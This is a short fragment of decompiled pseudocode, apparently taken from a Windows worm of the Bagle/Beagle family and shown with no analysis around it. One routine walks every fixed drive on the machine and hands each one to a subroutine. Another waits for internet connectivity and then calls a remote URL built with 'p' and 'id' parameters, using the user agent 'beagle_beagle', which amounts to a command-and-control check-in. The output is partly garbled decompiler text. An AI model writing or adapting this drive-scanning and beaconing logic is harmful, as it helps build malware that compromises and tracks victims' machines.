FLocal1 = GlobalAlloc(64,8192)
GetLogicalDriveStringsA(8191,FLocal1)
LLocal1 = FLocal1
Do While ((OFFSET-CONTAINER 1 LLocal1) != 0)
If (GetDriveTypeA(LLocal1) = 3)
usub_402c9d(LLocal1)
End If
LLocal1 = (LLocal1 + lstrlenA(LLocal1))
LLocal1 = (LLocal1 + 1)
Loop
Return GlobalFree(FLocal1)
(TOKEN_WHILE 402D22)
FLocal13 = InternetGetConnectedState(0,0)
If (FLocal13 = 0)
Return FLocal13
Else
Loop
Return Sleep(2000)
End If
FLocal15 = GlobalAlloc(64,1024)
wsprintfA(FLocal15,"%s?p=%lu&id=%s",#ARG4)
usub_402d22
FLocal18 = InternetOpenA("beagle_beagle",1,0,0,0)
InternetOpenUrlA(FLocal18,FLocal15,0,0,1073741824,0)
If (FLocal1 = 0)
InternetCloseHandle(FLocal1)
End If
InternetCloseHandle(FLocal18)
Return GlobalFree(FLocal15)
End Sub